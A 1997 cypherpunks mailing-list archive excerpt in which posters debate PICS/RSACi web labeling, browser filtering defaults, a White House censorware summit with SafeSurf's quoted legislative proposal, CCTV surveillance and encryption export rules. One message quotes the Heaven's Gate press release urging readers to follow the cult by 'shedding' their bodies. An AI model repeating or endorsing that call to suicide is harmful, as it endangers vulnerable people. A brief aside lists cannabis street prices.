> would support PICS in a future version of Navigator. Now it's pledging to
> support PICS in the *next* version.
> 
> -Declan

  I don't care if Netscape supports PICS or not, as long as I still have
the
freedom to turn that option off (and that it is preferrably not enabled
by
default, or indicates in an OBVIOUS way that it is active).

  This whole thing is a load of shit though. The government is
professing
to have control over thousands of private computers and networks. No one
has to put their kids on the net (IMHO the damn thing is a large waste
of
time, they should be reading books or building things instead), so it
must
be the parents decision to give them access -- It is therefore the
parents
responsibility to monitor their kids activities, not the governments and
not
everyone elses.

  My webpage will proudly remain unlabeled by any labeling standard.
Anyone got a good design for a 'No Lables, Never' sticker to add to our
pages?

  Brian  

-- 
-------------------< http://www.eskimo.com/~nexus >--------------------
EET, Embedded Systems Programmer     PGP email OK     Linux Afficionado
====[  9E83F5D5/C1 BD 82 44 7C 4E 4D 5B  8E D3 FD A0 04 11 A4 AF  ]====





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 17 Jul 1997 17:48:32 +0800
To: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Subject: Re: CCTV Cameras in Britain
In-Reply-To: <199707152143.RAA22086@yakko.cs.wmich.edu>
Message-ID: <Pine.LNX.3.91.970716175214.1459C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>     only option for law enforcement will be to remove the offending
>     devices or declare maks illegal for public use (a real stretch for
>     civil liberties).
> 
> Yeah, right, get real. The only reason you might want to avoid being
> identified is if you have something to hide. 

And surely the only reason anyone would want to encrypt anything was if 
they had something to hide.

I regularly walk very close to shop fronts in the towns near me so I stay 
out of the field of vision of the CCTV cameras, arrest me now, I must be 
dangerous....

> Wearing a mask is only
> going to draw attention to you, and if you think everyone is suddenly
> going to start wearing masks...like I said in paragarph one, most
> people over here welcome the cameras.

I think if enough people wore suitable hats it would make it more 
difficult for individuals to be identified on CCTV tapes.

> Please don't misinterpret my motives. I would be the first to celebrate
> if no threat to privacy existed. Unfortunately there are immoral,
> irresponsible and downright antisocial (not to mention the
> psychologically unsound) people who will not abide by the law, or to
> what we regard as social norms and persist in infringing our rights.

Define law, and define social norms and why they should be adhered to. On 
second thoughts, don`t even bother, just think it over for yourself, I am 
uninterested in your perspective.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 17 Jul 1997 17:58:23 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: CCTV Cameras in Britain (fwd)
In-Reply-To: <199707161318.IAA19917@einstein.ssz.com>
Message-ID: <Pine.LNX.3.91.970716180859.1459D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> >   Since an ounce of good marijuana costs $300.00 instead of merely
> > $3.00, it is profitable to not abide by the law.
> 
> Don't know where you live but your street prices are about 300% too
> high...


Depends on what and where you are buying, TruthMonger lives in canada 
(saskatchewan <sp>), in the UK a typical street price for an ounce of 
black is around £100 (about $170), but for good weed or skunk it can be 
up to about £150 (nearly $300), maybe the US market is sligtly more free 
resulting in lower prices...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Thu, 17 Jul 1997 09:22:13 +0800
To: "Ross Wright" <cypherpunks@toad.com
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <199707162346.QAA01928@adnetsol.adnetsol.com>
Message-ID: <3.0.1.32.19970716181248.00b5a920@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:47 PM 7/16/97 -0700, Ross Wright wrote:
>Marc:
>
>What a bunch of crap!  Keep out of the internet, you government 
>flunky.  Let business, commerce and freedom of speech remain in it's 
>new home, Cyberspace.  And save your regulations for someone who 
>needs them.

You will get a lot more respect on the net once you learn how to read
messages. I'll leave it you to figure out what you got wrong.

Sheesh. And I retreated to mailing lists to get away from this kind of
stuff on USENET.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Thu, 17 Jul 1997 06:43:39 +0800
To: cypherpunks@toad.com
Subject: Re: The Censorware Summit: A Preview, from The Netly News
Message-ID: <199707161828.TAA01754@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>http://cgi.pathfinder.com/netly/opinion/0,1042,1173,00.html
>
>The Netly News Network (http://netlynews.com)
>July 16, 1997                        
>
>The Censorware Summit
>by Declan McCullagh (declan@well.com)
                                             

>        Today, Friedland and more than a score of industry and nonprofit
>   groups are visiting the White House to promote technical means of
>   stopping Junior from visiting playboy.com. President Clinton is
>   expected to endorse such measures over attempts to revive broad
>   criminal laws like the ill-fated Communications Decency Act, which he
>   supported. But this new approach suffers from all sorts of problems.

A UK computer vendor (I forget which) deals in its catalogue with the 
possible concerns of parents at internet content in this way.  It suggests
that the computer is in a family room where parents can readily see what
Junior is up to.  Common sense or what ?  Bubba can keep his nose out.

>                                                Rep. Bob Goodlatte       
>   (R-Va.), a staunch CDA supporter who will be at today's summit. "They
>   said we can't go that route. I'm certainly interested in developing 
>   other options. I want to put the burden on pornographers. One of the
>   ways to do that is to have Congress pass legislation that would make
>   it difficult for people to misrate their web site."

And I (poor ignorant thing) thought that pornmasters wanted their
sites recognised for what they are to attract visitors.



--
###############################################################
# Antonomasia   ant@notatla.demon.co.uk                       #
# See http://www.notatla.demon.co.uk/                         #
###############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 10:42:37 +0800
To: cypherpunks@toad.com
Subject: Microsoft will NOT ship browser with RSACi on by default
Message-ID: <Pine.GSO.3.95.970716193112.16504K-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 19:30:04 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Microsoft will NOT ship browser with RSACi on by default

Microsoft called me a few hours ago and told me that -- despite reports to
the contrary -- the company definitely will *not* ship the next version of
Internet Explorer configured to block unlabeled sites out of the box. 
"The product is going to ship with Content Advisor off by default," said
Mark Murray (mmurray@microsoft.com). 

My article at http://netlynews.com today had said:

  The next version of IE will default to displaying only properly
  labeled web pages, according to Ken Wasch, the president of the
  Software Publishers Association.

This comes after previous reports that RSACi might be default-on:

  http://pathfinder.com/netly/editorial/0,1012,476,00.html
  http://pathfinder.com/netly/editorial/0,1012,740,00.html

Kudos to Microsoft for doing the right thing.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 17 Jul 1997 07:41:08 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: The Big Sellout
In-Reply-To: <3.0.2.32.19970715230342.006f15a8@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970716193212.10019A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 15 Jul 1997, Lucky Green wrote:

> Sure the CDA was struck down by the Supreme Court. Would a law prohibiting
> "mislabeling" of websites be struck down as well? I doubt it.

Didn't the Supreme Court strike down a requirement to have the group that
pays for political advertising on the advertising?  (I thought I heard
this, but I'm not entirely sure..)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 07:51:33 +0800
To: edgarswank@juno.com (Edgar W Swank)
Subject: Re: HeavensGate Mirror incomplete/censored
In-Reply-To: <19970405.022954.11998.1.edgarswank@juno.com>
Message-ID: <v03007803aff30bf01e0f@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



We decided to ditch the Pathfinder mirror site after a few weeks.

The difference in the heavensgate.com and pathfinder.com sites was due, I
remember, to the fact that we grabbed our copy from the heavensgatetoo.com
site, which wasn't quite identical.

-Declan


At 03:28 +2037 3/31/5, Edgar W Swank wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Mike Duvos recently posted here
>
>  For complete information on the impending recycling of the planet
>  earth, and instructions for entering the Kingdom Level above
>  Human, try the mirror at...
>
>       http://www.pathfinder.com/news/heavensgate
>
>I was able, finally, to get through to the original site
>
>       http://www.heavensgate.com
>
>and I noticed the mirror site does not include two links present
>in the original
>
>  Earth Exit Statements by Students
>
>  Exit Press Release:
>  "Away Team" Returns to Level Above Human
>
>which are perhaps the most interesting for "outsiders."  The last
>one starts
>
>  RANCHO SANTA FE, CA -- By the time you receive this, we'll be gone --
>  several dozen of us. ...
>
>And offers these instructions for stragglers ...
>
>  During a brief window of time, some may wish to follow us.  If
>  they do, it will not be easy.  The requirement is to not only
>  believe who the Representatives are, but, to do as they and we
>  did.  You must leave everything of your humanness behind.  This
>  includes the ultimate sacrifice and demonstration of faith --
>  that is, the shedding of your human body.  If you should choose
>  to do this, logistically it is preferred that you make this
>  exit somewhere in the area of the West or Southwest of the
>  United States -- but if this is not possible -- it is not
>  required.  You must call on the name of TI and DO to assist
>  you.  In so doing, you will engage a communication of sorts,
>  alerting a spacecraft to your location where you will be picked
>  up after shedding your vehicle, and taken to another world --
>  by members of the Kingdom of Heaven.
>
>Edgar W. Swank   <EdgarSwank@Juno.com>
>                 (preferred)
>Edgar W. Swank   <cryoprez@jps.net>
>                 (for files/msgs >50K)
>Home Page: http://members.tripod.com/~EdgarS/index.html
>
>-----BEGIN PGP SIGNATURE-----
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>
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>=WsOo
>-----END PGP SIGNATURE-----



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 17 Jul 1997 10:52:32 +0800
To: Marc Rotenberg <lizard@dnai.com>
Subject: Re: The Real Plan: Making the Net Safe for Censorship
Message-ID: <199707170240.TAA05878@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About 16 Jul 97 at 18:12, Lizard wrote:

> At 04:47 PM 7/16/97 -0700, Ross Wright wrote:
> >Marc:
> >
> >What a bunch of crap!  Keep out of the internet, you government
> >flunky.  Let business, commerce and freedom of speech remain in
> >it's new home, Cyberspace.  And save your regulations for someone
> >who needs them.
> 
> You will get a lot more respect on the net once you learn how to
> read messages. I'll leave it you to figure out what you got wrong.

Umm, I think I understood the message, and Mr. Rotenberg's 
involvement in the politics of censorship, as it relates to the 
Internet.

> Sheesh. And I retreated to mailing lists to get away from this kind
> of stuff on USENET.

What?  I just feel that there should be no laws or resolutions or 
promises made or kept by the United States Government about the 
internet.

On or About 16 Jul 97 at 14:42, Declan McCullagh wrote, about 
something that Marc Rotenberg <rotenberg@epic.org> wrote:

>On the other hand, without a proper law, 

See, when they say "without" that means they think we need one.

>parents can purchase and
>activate measures to protect their children from adult material and
>still not feel secure in their homes from unwanted material.  

Ohhhh, so scary.  Not safe in the home!  Imagine that.

>This is
>because negligent publishing of data eventually allows material that
>can harm the child to enter the home.  Once this material is
>experienced by the child, its damage is done.  There is no "oops"
>factor, no way to undo the unwanted intrusion into a child's
>innocence. 

Parental supervision?  What ever happened to that?

>Most importantly, any Internet law must not censor thought.  It may
>regulate the labeling on the packaging but never the content. 

Most importantly, I don't want any Internet law.  ANY.  Just my 
opinion.

>With the goal of achieving a greater spirit of cooperation between
>the publisher and the receiver of online data, we propose the Online
>Cooperative Publishing Act. 

I don't want ANY Act.  Knock it off.   Keep out.  Stay away.  Save 
your Acts for someone who needs them.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 07:54:14 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716111552.13849C-100000@well.com>
Message-ID: <v03007804aff30cc04f0a@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Of course it's not what the news media have been saying, at least vocally.
They often get suckered in by slick press releases and prepackaged pap. I
sometimes wonder if my sitting next to a reporter during an event and
telling him/her what's really going on ever changes what they write about
or how they say it. I suspect it does.

-Declan


At 15:34 -0400 7/16/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <Pine.GSO.3.95.970716111552.13849C-100000@well.com>, on 07/16/97
>   at 11:16 AM, Declan McCullagh <declan@well.com> said:
>
>>As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
>>it a Federal crime to misrate. --Declan
>
>This doesn't sound like the "voluntary" system that the "news" media has
>been advertising.
>
>Perhaps they were too busy peddling Toilet Paper & Tampons to report the
>most important part of the story: "Clinton Administration wants Mandatory
>Rating System for the Internet".
>
>The mechanics of RSACi are really secondary to the fact that the FEDS want
>to force them on us.
>
>- --
>- ---------------------------------------------------------------
>William H. Geiger III  http://www.amaranth.com/~whgiii
>Geiger Consulting    Cooking With Warp 4.0
>
>Author of E-Secure - PGP Front End for MR/2 Ice
>PGP & MR/2 the only way for secure e-mail.
>OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html -
>---------------------------------------------------------------
>
>-----BEGIN PGP SIGNATURE-----
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-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Jul 1997 09:21:07 +0800
To: Brian Lane <nexus@eskimo.com>
Subject: Re: The Big Sellout
In-Reply-To: <33CD6C29.C60338E7@eskimo.com>
Message-ID: <199707170117.UAA30196@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <33CD6C29.C60338E7@eskimo.com>, on 07/16/97 
   at 05:49 PM, Brian Lane <nexus@eskimo.com> said:

>  My webpage will proudly remain unlabeled by any labeling standard.
>Anyone got a good design for a 'No Lables, Never' sticker to add to our
>pages?


I'll have to whip somthing up and put it right next to my NOTScape
Enhanced & Netscape Unhanced logo's on my web page. :)

Of cource Netscape was never on "our" side to begin with so I can't call
their support of this crap a "sell-out" just typical.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Thu, 17 Jul 1997 12:05:42 +0800
To: John Deters <cypherpunks@toad.com>
Subject: Re: FCPUNX:'The Failure to Do Your Job' amendment (was Re: White House
Message-ID: <199707170348.UAA19054@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:15 PM 7/16/97 -0500, John Deters wrote:
> A Constitutional amendment that would call for the impeachment of the
> President for failing to veto any three bills that are overturned by the
> Supreme Court on Constitutional grounds.

This however, presupposes that the supreme court is likely to veto
unconstitutional bills, and refrain from vetoing constitutional
bills.  

This does not appear to be the case.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Thu, 17 Jul 1997 10:34:35 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <Pine.GSO.3.95.970716144140.4823C-100000@well.com>
Message-ID: <Pine.SOL.3.96.970716211822.13610I-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



> ----------
> 
> http://www.safesurf.com/online.htm
> 
> The Online Cooperative Publishing Act
>                                      (SafeSurf's Proposal for a Safe
> Internet Without Censorship)
snip> 
  (It
> should be noted that it was the universal acceptance of basic rules of
>        cooperation, rather than anarchy, that built the Internet. )

Can someone explain to me the necessariness of the assumed inconsistency
here? Or better yet, can SafeSurf explain it?
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Thu, 17 Jul 1997 10:42:47 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <Pine.GSO.3.95.970716144140.4823C-100000@well.com>
Message-ID: <Pine.SOL.3.96.970716212722.13610J-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



well, the "presumption" has a somewhat stalinist aroma
to it, but as for the rest of this laughable proposal, 
I can't count a mind boggling number of constitutional 
problems. But I think we've had this talk before, on
another list.:)
MacN
On Wed, 16 Jul 1997, Declan McCullagh wrote:

> 
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 14:16:47 -0500
> From: Marc Rotenberg <rotenberg@epic.org>
> To: fight-censorship@vorlon.mit.edu
> Subject: The Real Plan: Making the Net Safe for Censorship
> 
> 
> Here is an example of a proposal being presented
> at the White House today.
> 
> The minds boggles at the number of unconstitutional
> provisions contained in such a brief text.
> 
> Never has a freedom won in a Supreme Court decision
> been given up so quickly.
> 
> Marc Rotenberg
> EPIC.
> 
> ----------
> 
> http://www.safesurf.com/online.htm
> 
> The Online Cooperative Publishing Act
>                                      (SafeSurf's Proposal for a Safe
> Internet Without Censorship)
> 
> 
>        Any law that seeks to regulate the Internet must first recognize the
> uniqueness of the medium.  The Internet is not the print media or the
>        broadcast industry.  It is also not another form of phone
> conversation or a 900 number calling system.  Instead, the Internet is the
>        manifestation of humankind's quest for limitless two-way interaction
> with thought.  The hyper-text layout allows us to change topics on
>        a whim, travel to distance places, or gather world opinion on a
> subject in a matter of minutes. 
> 
>        This distinctive nature of the Internet must be protected and even
> promoted by any legislation that claims to be fair to this medium.  The
>        interaction between the one receiving data and the one publishing it
> are where the core of the law should focus.  Both sides have rights,
>        the publisher has the First Amendment and the receiver has the right
> to be secure from harm in his home.  Proper Internet law should
>        encourage a cooperative transfer of ideas in the form of data.  (It
> should be noted that it was the universal acceptance of basic rules of
>        cooperation, rather than anarchy, that built the Internet. )
> 
>        Any law that attempts to give one side or the other is given an
> unreasonable burden in conducting the transfer of data is doomed to
>        failure.  The CDA was too burdensome on the publisher.  Its goal was
> to stop the flow of data, rather than to regulate it for the benefit
>        of all parties. 
> 
>        On the other hand, without a proper law, parents can purchase and
> activate measures to protect their children from adult material and still
>        not feel secure in their homes from unwanted material.  This is
> because negligent publishing of data eventually allows material that can
>        harm the child to enter the home.  Once this material is experienced
> by the child, its damage is done.  There is no "oops" factor, no way
>        to undo the unwanted intrusion into a child's innocence. 
> 
>        Most importantly, any Internet law must not censor thought.  It may
> regulate the labeling on the packaging but never the content. 
> 
>        With the goal of achieving a greater spirit of cooperation between
> the publisher and the receiver of online data, we propose the Online
>        Cooperative Publishing Act. 
> 
>        It shall contain the following provisions:
> 
>        1.      The right to be able to identify the adult rating of online
> content before it enters one's home shall be established.  This shall be a
>        civil right giving the violated person or family the presumption in
> a suit against negligent publishers.
> 
>        2.      Negligent publishing of data shall be defined as placing
> adult oriented material on the Internet in such a way or in such a location
>        that it prevents its rating from being known.
> 
>        3.      A rating shall be defined as a PICS compatible label that
> identifies degrees of adult content in a way that can be understood by
>        computer filtering systems and is issued by a ratings service that
> has a minimum of 5,000 documented individuals using its system to
>        mark their data.
> 
>        4.      A publisher is defined as anyone who places computer data
> where it can be accessed by the general public without the use of a
>        credit card or other secure verified ID or password given out only
> to adults.  Content that can be only be accessed by the use credit cards
>        or other secure verified IDs is not subject to this law.
> 
>        5.      The code used to surround content published on the Internet
> shall be defined as packaging.  All government identification
>        requirements shall be limited to the code of the packaging.  Nothing
> in this law shall be construed to require any altering or censorship
>        of the content.
> 
>        6.      Three types of online publishing shall be defined:
> 
>              a) Publishers who accurately identify their data with a
> recognized labeling system. 
> 
>              These publishers shall be considered to have satisfied the
> labeling requirement of the law.  The right to publish shall be
>              completely protected for those who accurately label their
> material.  They shall be protected from all civil suits that argue
>              negligent posting of data.  Only grossly mislabeled material
> can be prosecuted.  (Note: This is not a protection for
>              obscene material.  This law will offer no protection for
> obscene material.)
> 
>              b) Publishers who mislabel their data to the degree that it
> enables a minor using a label filtering
>              system to gain access to harmful material.
> 
>              Data shall be considered to be mislabeled if it is posted in a
> newsgroup, directory or other joint area that has been labeled
>              as free from material harmful to minors.  Tampering with
> another's label shall be crime.
> 
>              These publishers may be criminally prosecuted for subverting a
> rating system to entice children to harmful material.  The
>              mislabeling must be to the extent that it is completely
> unreasonable to accept it as accurate.  Only ratings that are too
>              lenient can be prosecuted.
> 
>              Posting unlabeled adult material to an area that has declared
> itself safe for children or tampering with another's label shall
>              be a severe criminal assault on the rights of the receiver.
> 
>              Sending unsolicited email to a minor that contains
> pornographic material or an invitation to a pornographic Web Site, shall
>              be considered negligent enticement and may be criminally
> prosecuted.  A bulk email service sending pornographic email
>              must show that it took reasonable measures to insure that
> every recipient was an adult.  (Example: The addresses used
>              were from the membership list of Adult Check or other such
> adult verification services.)
> 
>              c) Publishers who do not label their data at all.
> 
>              Negligence in the absence of damages shall not be a criminal
> offense (but it may be a civil violation of the rights of the
>              receivers of that data) unless the data is deemed to be
> harmful to minors.  Then the publisher will be prosecuted for
>              negligence.
> 
>              These publishers may be sued in civil court by any parent who
> feels their children were harmed by the data negligently
>              presented.  The parents shall be given presumption in all
> cases and do not have to prove the data actually produced harm
>              to their child only that the material reasonably could be
> considered to have needed a label warning to protect children.
> 
> 
> 
>          7.      Internet Service Providers are considered publishers of
> only that material of which they directly control or gain revenue via a
>          percentage of sales.  Web Site designers may be held liable if
> they fail to attach ratings to Web sites, containing material harmful to
>             minors, they design for a fee. They may, by written agreement,
> assign the task of rating to another legally responsible party.
> 
>        8.      Not every document is required to be labeled, only the
> default or index document of each directory.  In the case of an entire web
>           domain being of one rating, only its default top level document
> needs to be labeled with instructions to apply it to the entire site. 
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 12:48:05 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <199707170338.WAA32029@mailhub.amaranth.com>
Message-ID: <Pine.GSO.3.95.970716212852.24530B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Wait -- so you're saying they *didn't* do the right thing with RSACi?

BTW, we should differentiate generally between state action and private
action. Getting fucked by Microsoft != getting fucked by the government.
This is Libertarianism 101. Of course, I admit today the distinction was
blurry.

-Declan

On Wed, 16 Jul 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <Pine.GSO.3.95.970716193112.16504K-100000@well.com>, on 07/16/97 
>    at 07:31 PM, Declan McCullagh <declan@well.com> said:
> 
> >Kudos to Microsoft for doing the right thing.
> 
> Well if Microsoft was intrested in doing the right thing they would not be
> involded with RSACi at all.
> 
> There seems to be a prevelent attitude in the INet community that when
> getting fucked by the government we should thank them for only sticking it
> in half-way.
> 
> - -- 
> - ---------------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
> - ---------------------------------------------------------------
> 
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> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 12:44:47 +0800
To: frissell@panix.com
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716234246.03aaeea8@panix.com>
Message-ID: <Pine.GSO.3.95.970716213019.24530C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



When protecting children, logic seems to be thrown out the window.

"Junior can find porn!"

-Declan


On Wed, 16 Jul 1997 frissell@panix.com wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 11:16 AM 7/16/97 -0700, Declan McCullagh wrote:
> >As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
> >it a Federal crime to misrate. --Declan
> >
> 
> What ever happened to "de minimus non curat lex."  The social damage from a 
> misrated website is too trivial to be believed.  Punishing it is like 
> executing you for farting.
> 
> DCF  
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> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 09:56:38 +0800
To: cypherpunks@toad.com
Subject: Justice is Done
Message-ID: <v03007800aff326895bb7@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



---

From: "--Todd Lappin-->" <telstar@WIRED.COM>

Wednesday July 16 4:10 PM EDT

TV's 'Barney' Chokes in Filming Accident

DALLAS (Reuter) - An actor playing "Barney," the purple dinosaur loved by
millions of children, suffered smoke inhalation when
a cooling fan inside the 60-pound suit shorted out during filming of the TV
show, officials said Wednesday.

There was no fire but the actor inhaled smoke as he tried to get out of the
suit at a Dallas studio Tuesday, said Susan Elsner, a
spokeswoman for Lyrick Studios and The Lyons Group, which created and
produces the hugely popular children's show "Barney
& Friends."

She said the actor, who was not named, inhaled a "slight amount of smoke"
but was released after a routine examination.

Once the incident was reported on television, scores of anxious parents
called to say their children were worried their favorite
dinosaur had been burned or, worse still, was a fake.

"It can be really devastating to a 3-year-old," Elsner said. "They love
Barney and they think that something terrible has happened to
him, or that it's not real."

"Barney & Friends" airs on the U.S. Public Broadcasting System and is a
top-ranking program for children under age 6. It appears
in 30 countries across six continents.

Elsner said Tuesday's incident came as the cast was filming shows for the
fall season.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Thu, 17 Jul 1997 13:06:39 +0800
To: "Ross Wright" <fight-censorship@vorlon.mit.edu
Subject: Re: The Real Plan: Making the Net Safe for Censorship
Message-ID: <3.0.32.19970716214255.00ab0340@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:42 PM 7/16/97 -0700, Ross Wright wrote:
>On or About 16 Jul 97 at 18:12, Lizard wrote:
>
>> At 04:47 PM 7/16/97 -0700, Ross Wright wrote:
>> >Marc:
>> >
>> >What a bunch of crap!  Keep out of the internet, you government
>> >flunky.  Let business, commerce and freedom of speech remain in
>> >it's new home, Cyberspace.  And save your regulations for someone
>> >who needs them.
>> 
>> You will get a lot more respect on the net once you learn how to
>> read messages. I'll leave it you to figure out what you got wrong.
>
>Umm, I think I understood the message, and Mr. Rotenberg's 
>involvement in the politics of censorship, as it relates to the 
>Internet.
>
No, you do not.

>> Sheesh. And I retreated to mailing lists to get away from this kind
>> of stuff on USENET.
>
>What?  I just feel that there should be no laws or resolutions or 
>promises made or kept by the United States Government about the 
>internet.
>
That's not the kind of stuff I'm referring to.

>On or About 16 Jul 97 at 14:42, Declan McCullagh wrote, about 
>something that Marc Rotenberg <rotenberg@epic.org> wrote:
>
>>On the other hand, without a proper law, 
>
>See, when they say "without" that means they think we need one.
>
>>parents can purchase and
>>activate measures to protect their children from adult material and
>>still not feel secure in their homes from unwanted material.  
>
>Ohhhh, so scary.  Not safe in the home!  Imagine that.

Sigh. While occasionally I am prone to fits of charity and altruism, today
is not one of those days. I shall leave it to someone more merciful than I
(such as, perhaps, the Marquis de Sade, or Attila the Hun) to explain your
error to you. Perhaps Marc himself will enlighten you, though, frankly, I
hope he doesn't, as this could provide much amusement over time.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 17 Jul 1997 13:53:18 +0800
To: cypherpunks@toad.com
Subject: Verisign gets export approval
Message-ID: <3.0.2.32.19970716215758.006f071c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded from PGP-USERS list:
> First PGPInc and now VeriSign? Hmmm. Is this telling us something?

     "VeriSign on Monday said it received permission from 
       the U.S. Department of Commerce to export 128-bit 
       strong encryption software and issue digital 
       identifications to approved organizations based on 
       that software. "

     "Under the 128-bit scheme approved by the U.S. 
      government Monday, companies will not need to 
      place their encryption keys in escrow, or submit 
      to U.S. government key-recovery requirements in 
     order to use VeriSign's software, company officials said."



#			Thanks;  Bill
